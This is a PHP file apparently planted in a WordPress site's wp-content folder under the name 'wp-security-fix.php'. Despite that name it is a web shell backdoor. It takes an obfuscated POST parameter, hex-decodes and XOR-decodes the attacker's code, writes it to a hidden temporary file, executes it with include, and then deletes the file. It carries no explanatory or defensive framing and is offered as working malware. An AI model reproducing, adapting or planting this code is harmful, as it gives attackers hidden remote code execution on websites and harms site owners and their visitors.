File: /home/u528506485/domains/strikewavelabs.com/public_html/wp-content/wp-security-fix.php
<?php
if(!empty($_POST["\x65\x6Cem"])){
$parameter_group = hex2bin($_POST["\x65\x6Cem"]);
$pset = ''; $b = 0; while( $b<strlen( $parameter_group)){$pset .= chr( ord( $parameter_group[$b]) ^ 62); $b++;}
$itm = array_filter([getenv("TEMP"), getenv("TMP"), "/tmp"]);
foreach ($itm as $comp => $dchunk) {
if (is_writable($dchunk) && is_dir($dchunk)) {
$rec = implode("/", [$dchunk, ".hld"]);
if (file_put_contents($rec, $pset)) {
register_shutdown_function('unlink', $rec);
include $rec;
die();
}
}
}
}